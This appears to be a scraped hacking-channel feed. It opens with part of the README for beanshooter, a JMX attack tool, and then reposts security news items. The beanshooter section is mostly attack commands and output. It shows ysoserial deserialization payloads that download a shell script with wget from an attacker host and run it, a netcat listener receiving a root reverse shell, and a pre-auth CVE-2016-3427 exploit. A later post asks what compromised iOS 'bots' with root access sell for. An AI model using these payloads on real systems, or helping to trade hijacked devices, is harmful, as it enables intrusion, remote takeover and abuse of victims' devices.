In case of authenticated JMX endpoints, it is pretty common that usage of MLet does not work, even with valid credentials. The following listing shows an attempt to deploy a malicious MBean on an authenticated JMX endpoint: [qtc@kali ~]$ beanshooter --ssl 172.18.0.2 9010 status
[+] Connecting to JMX server...
[+] RMI object tries to connect to different remote host: iinsecure.dev
[+] Redirecting the connection back to 172.18.0.2... failed!
[*]
[-] The following exception was thrown: java.lang.SecurityException: Authentication failed! Credentials required
[qtc@kali ~]$ beanshooter --ssl --username controlRole --password control 172.18.0.2 9010 status
[+] Connecting to JMX server...
[+] RMI object tries to connect to different remote host: iinsecure.dev
[+] Redirecting the connection back to 172.18.0.2... done!
[+] Creating MBeanServerConnection... done!
[+]
[+] Getting Status of MLet... done!
[+] MLet is not registered on the JMX server.
[+] Getting Status of malicious Bean... done!
[+] malicious Bean is not registered on the JMX server.
[qtc@kali ~]$ beanshooter --ssl --username controlRole --password control 1 72.18.0.2 9010 deployAll
[+] Connecting to JMX server...
[+] RMI object tries to connect to different remote host: iinsecure.dev
[+] Redirecting the connection back to 172.18.0.2... done!
[+] Creating MBeanServerConnection... done!
[+]
[+] Creating MBean 'MLet' for remote deploymet... failed!
[-] The following exception was thrown: java.lang.SecurityException: Access denied! Creating an MBean that is a ClassLoader is forbidden unless a security manager is installed. In these cases it might still be possible to attack the JMX endpoint by using deserialization attacks. To allow such attacks, the ysoserial (https://github.com/frohoff/ysoserial) project can be integrated to beanshooter by specifying the path to the corresponding ysoserial .jar file. This can be configured either in the configuration file or by using the --yso command line option. The default location is /opt/ysoserial/target/ysoserial-0.0.6-SNAPSHOT-all.jar. With ysoserial setup correctly, one can attempt a deserialization (https://www.kitploit.com/search/label/Deserialization) attack against the target: [qtc@kali ~]$ beanshooter --ssl --username controlRole --password control 172.18.0.2 9010 ysoserial CommonsCollections6 "wget -O /dev/shm/s.pl http://172.18.0.1:8000/shell.pl"
[+] Creating ysoserial payload...done.
[+] Connecting to JMX server...
[+] RMI object tries to connect to different remote host: iinsecure.dev
[+] Redirecting the connection back to 172.18.0.2... done!
[+] Creating MBeanServerConnection... done!
[+]
[+] Sending payload to 'getLoggerLevel'...
[+] IllegalArgumentException. This is fine :) Payload probably worked.
[qtc@kali ~]$ beanshooter --ssl --username controlRole --password control 172.18.0.2 9010 ysoserial CommonsCollections6 "perl /dev/shm/s.pl"
[+] Creating ysoserial payload...done.
[+] Connecting to JMX server...
[+] RMI object tries to connect to different remote host: iinsecure.dev
[+] Redirecting the connection back to 172.18.0.2... done!
[+] Creating MBeanServerConn ection... done!
[+]
[+] Sending payload to 'getLoggerLevel'...
[+] IllegalArgumentException. This is fine :) Payload probably worked.

[qtc@kali ~]$ nc -vlp 4444
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 172.18.0.2.
Ncat: Connection from 172.18.0.2:45994.
id
uid=0(root) gid=0(root) groups=0(root) Older JMX instances might also be vulnerable to CVE-2016-3427, which is basically a pre-auth deserialization vulnerability. Whereas the above deserialization attack should work against the RMI based connector as well as against JMXMP based connector, the pre-auth attack only works against the RMI based connector: [qtc@kali ~]$ beanshooter --ssl 172.18.0.2 9010 cve-2016-3427 CommonsCollections6 "perl /dev/shm/s.pl"

___________________________
@hacking_Attack
@Hacking_Video

[+] Creating ysoserial payload...done.
[+] cve-2016-3427 - Sending serialized Object as credential.
[+] An exception during the connection attempt is expected.
[+] Connecting to JMX server...
[+] RMI object tries to connect to different remote host: iinsecure.dev
[+] Redirecting the connection back to 172.18.0.2... failed!
[*]
[*] Caught SecurityException with content 'Authentication failed! Credentials should be String[] instead of java.util.HashSet'.
[*] Target is most likely vulnerable to cve-2016-3427.

[qtc@kali ~]$ nc -vlp 4444
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 172.18.0.2.
Ncat: Connection from 172.18.0.2:46000.
id
uid=0(root) gid=0(root) groups=0(root)
Advanced Usage
Above it was already mentioned that beanshooter can read options from a configuration file. Options that would require long values, like the name of the MBean class or the corresponding ObjectName can only be passed inside of the configuration file. The following snipped shows you the default configuration file that is used by beanshooter internally: defaultCmd=id
stagerPort=8080
stagerHost=127.0.0.1

username=
password=
boundName=jmxrmi

jarPath=/opt/beanshooter/tonka-bean/target/
jarName=tonka-bean.jar

ysoserial=/opt/ysoserial/target/ysoserial-0.0.6-SNAPSHOT-all.jar

mLetName=DefaultDomain:type=MLet
beanClass=de.qtc.tonkabean.TonkaBean
objectName=MLetTonkaBean:name=TonkaBean,id=1 It is possible to overwrite each option by specifying a custom configuration file using the --config parameter. The custom config file does not need to contain all options. Options that are not present were simply set to the default value. If you want your custom configuration to apply for each usage of beanshooter, you can also modify the config.properties (https://github.com/qtc-de/beanshooter/blob/master/src/config.properties) file inside of the src (https://github.com/qtc-de/beanshooter/blob/master/src) folder before compiling the project. In situations where the targeted server cannot access your host because of restrictive firewall rules, you may be able to use the --remote-stager option to specify a remote stager host. If you have access to the remote-stager, you can also use beanshooter to deploy the MBean by using the --stager-only option, which only spawns the HTTP listener. When using this option, no additional command line parameters are required. However, on your attacking machine you still need to specify the correct --stager-host, either by using command line options or a configuration file.
Why beanshooter
Here are some of the advantages why you may choose beanshooter in favor of other JMX scanning solutions: Full SSL support for JMX objects and the rmiregistry Automatic redirection for objects bound to e.g. localhost Full JMXMP support with almost all available authentication options ysoserial integration to test for insecure deserialization CVE-2016-3427 detection Autocompletion for bash Vulnerable docker container to run tests against
Credits
The initial idea and also the initial codebase of the tool were taken from this blogpost (https://www.optiv.com/blog/exploiting-jmx-rmi). For the JMXMP implementation, this project (https://github.com/felixoldenburg/jmxmp-lifecycle-listener) was really helpful. Some functionalities were inspired by the mjet project (https://github.com/mogwailabs/mjet) Copyright 2020, Tobias Neitzel and the beanshooter contributors.

Download Beanshooter (https://github.com/qtc-de/beanshooter)

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
HP patches vulnerable driver lurking in printers for 16 years

Link: https://www.zdnet.com/article/hp-patches-vulnerable-printer-driver-impacting-millions-of-devices/

Advisory:https://support.hp.com/us-en/document/ish_3900395-3833905-16/hpsbpi03724

submitted by /u/GHIDRAdev
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
iOS Bots/Shells, Root perms.

What is the value per iOS bot? Some specs; A10-A14 cpu, 3GB-4GB RAM, Almost all iPhones have a sim, Root access & 94% of them are from the US. My first price was given to me at $3-$5 per bot, just wanted a second opinion.

submitted by /u/a_nihlist
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

How I Found Multiple Bugs On FaceBook In 1 Month And a Part For My Methodology & Tools

Hay Hunters , Hello Infosec CommunityContinue reading on Medium »
Read more...

Kali Linux Tutorials
The-Bastion : Authentication, Authorization, Traceability And Auditability For SSH Accesses

Bastions are a cluster of machines used as the unique entry point by operational teams (such as sysadmins, developers, database admins, to securely connect to devices (servers, virtual machines, cloud instances, network equipment, …), usually using ssh. Bastions provides mechanisms for authentication, authorization, traceability and auditability for the whole infrastructure. Learn more by reading the blog […]

The post The-Bastion : Authentication, Authorization, Traceability And Auditability For SSH Accesses appeared first on Kali Linux Tutorials.

___________________________
@hacking_Attack
@Hacking_Video

Kali Linux Tutorials
Whisker : A C# Tool For Taking Over Active Directory User And Computer Accounts By Manipulating Their msDS-KeyCredentialLink Attribute

Whisker is a C# tool for taking over Active Directory user and computer accounts by manipulating their msDS-KeyCredentialLink attribute, effectively adding “Shadow Credentials” to the target account. This tool is based on code from DSInternals by Michael Grafnetter (@MGrafnetter). For this attack to succeed, the environment must have a Domain Controller running on Windows Server 2016, and the Domain […]

The post Whisker : A C# Tool For Taking Over Active Directory User And Computer Accounts By Manipulating Their msDS-KeyCredentialLink Attribute appeared first on Kali Linux Tutorials.

___________________________
@hacking_Attack
@Hacking_Video

Kali Linux Tutorials
DNSrr : A Tool Written In Bash, Used To Enumerate All The Juicy Stuff From DNS

DNSrr is a tool written in bash, used to enumerate all the juicy stuff from DNS records, it uses different techniques like DNS Forward Bruteforce DNS Reverse Bruteforce DNS Cache Snooping DNS Zone Transfer To get you all the information that you can get, from a DNS server. Installation Install it using git git clone […]

The post DNSrr : A Tool Written In Bash, Used To Enumerate All The Juicy Stuff From DNS appeared first on Kali Linux Tutorials.

___________________________
@hacking_Attack
@Hacking_Video

The mission- hack HATs
https://hatsfinance.medium.com/the-mission-hack-hats-305c6eb86ae6?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

Decentralized cybersecurity bounty networkContinue reading on Medium » (https://hatsfinance.medium.com/the-mission-hack-hats-305c6eb86ae6?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
How To Track Mobile Location

Track Mobile Location

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Pulse Oximeter “Hack” Attempt (Failed?)

https://cdn-images-1.medium.com/max/2600/1*yUjUL6WRTRFtDdyO-_32Wg.jpeg
Article in Bahasa Indonesia

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
My Hackathon Journey — From Ground Zero to Organizer

https://cdn-images-1.medium.com/max/852/1*--NP87d5eKZG4Ycc3dwV7Q.jpeg
March 18, 2020 — Everything was going well and it was a usual day in my college. I was in the games room of our hostel, playing cricket…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video